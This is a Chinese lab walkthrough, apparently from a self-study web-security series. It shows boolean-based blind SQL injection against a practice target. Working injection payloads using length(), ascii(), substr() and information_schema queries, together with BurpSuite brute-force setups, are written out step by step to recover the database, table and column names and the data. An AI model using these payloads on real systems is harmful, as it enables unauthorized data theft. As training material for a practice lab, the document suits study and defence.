一.前置知识
自学web安全day08--SQL注入--(基础03)布尔盲注与时间盲注 - 掘金 (juejin.cn)
二.打靶过程
1.判断是否存在SQL注入漏洞
进入靶场
URL中输入:?id=1 and 1=1
在URL中输入以下试验点 ?id=1,满足SQL注入的两个关键点
1.用户对输入的内容可控
2.Web应用会把用户提交的数据带到数据库中去执行
2.判断SQL注入类型
试验点1:?id=1 and 1=1
试验点2:?id=1 and 1=2
试验点3:?id=1asd(显示)
试验点4:?id=1asd'(不显示)
试验点1和试验点2结果相同,
结合试验点3和4说明存在字符型SQL注入,且属于布尔盲注(正确显示一种,错误显示一种,且无任何报错信息)
3.获取数据库长度
试验点1:?id=1' and length(database())>3 and length(database())<10%23
说明数据库长度大于3小于10,[4,9]之间
试验点2:?id=1' and length(database())=7%23
试验点3:?id=1' and length(database())=8%23
说明数据库长度为8
4.获取数据库名
- 已知:数据库长度为8
利用ascii函数、substr函数、limit子句对数据库长度的每个字符进行猜解
示例:?id=1' and ascii(substr(database(),1,1))=32%23
说明第一个字符的ascii值不是32
利用BurpSuite进行爆破,装载payload
说明,在URL编码中%20代表空格,%27代表单引号
payload1处从1到8如下设置
payload2处从32到126如下设置
攻击方式用Cluster Bomb集束炸弹模式
总共会进行8x95=760次尝试爆破
结果如下,数据库名称为security
5.获取表的数量
示例:?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4%23
也可以用BurpSuite爆破,或者人工测试数字0~10等,最后得到security数据库有4个表
6.获取表的长度
示例:?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6%23
由于只显示一条,需要limit子句一行一行输出,可以得知第一个表名长度为4
进行BurpSuite爆破,payload设置如下
第一个位置从0~3表示第几张表(第1张到第4张)
第二个位置从1~30开始,表示该表的长度
进行ClusterBoob集束炸弹
7.获取表的名字
- 已知:第一张表长为6
- 已知:第二张表长为8
- 已知:第三张表长为7
- 已知:第四张表长为5
但是由于只显示一条,还需要limit子句一行一行输出
示例优化:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 %23
可知第一个表的第一个字是e
利用BurpSuite进行爆破,payload点如下
第一个点:第几个表,范围0~3,表示从第1张表到第4张表
第二个点:某个表的第几个字符,范围1该表表长,可以取4个表最大的表长也就是8,即18(如果超出了表长会返回空字符串)
第三个点:字符ascii值,确定该字符的ascii值,范围31~126
开始ClusterBoob爆破
根据结果Render显示,可知以下是正确结果
即第一个表名ascii值(加号表示连接符便于后面换算为字符):101+109+97+105+108+115,名字即为emails
第二个表名ascii值:114+101+102+101+114+101+114+115,名字即为referers
第三个表名ascii值:117+97+103+101+110+116+115,名字即为uagents
第四个表名ascii值:117+115+101+114+115,名字即为users
8.获取字段数量
- 已知:emails表来自security数据库
示例1:?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 %23
--要注意:在整个数据库系统可能不止一个emails表,因此需要备注该表的数据库
示例1优化:?id=1' and (select count(column_name) from information_schema.columns where table_name='emails' and table_schema='security')=2 %23
因此可知,该emails表有2个字段
9.获取字段长度
- 已知:emails表来自security数据库
- 已知:emails表有2个字段
示例1:?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 0,1),1))=2%23
示例2:?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' and table_schema='security' limit 1,1),1))=8%23
说明第1个字段长度为2,第2个字段长度为8
对字段信息进行字符猜解,需要BurpSuite进行爆破
payload点设置如下
采用ClusterBoob攻击模式
payload1表示第几个字段,范围0~1(limit从0开始表示第1个)
payload2表示该字段的第几个字符,范围1~8(因为有2个字段,所以取两者中的最大字段长度)
payload3表示该字符的ascii值,范围32126(031和127是控制字符)
开始爆破,共计1520次,结果如下
查对应的ascii表,可知第1个字段名为:105(i)+100(d) --id
第2个字段名为:101(e)+109(m)+97(a)+105(i)+108(l)+95(_)+105(i)+100(d) --email_id
10.获取字段数据
示例1:?id=1' and ascii(substr((select group_concat(id) from emails),1,1))=49%23
id的第一个字段数据为1
对此进行爆破,payload如下
payload1:表示字段信息的第几个位置,范围:0~50(把范围扩大了搜)
payload2:表示字段信息该位置的字符ascii值(31~126)
进行ClusterBoob攻击,共进行4896次,爆破结果如下
说明id字段的信息为:49(1)+44(,)+50(2)+44(,)+51(3)+44(,)+52(4)+44(,)+53(5)+44(,)+54(6)+44(,)+55(7)+44(,)+56(8)
即id=1,2,3,4,5,6,7,8
逗号来自于group_concat的分隔符是逗号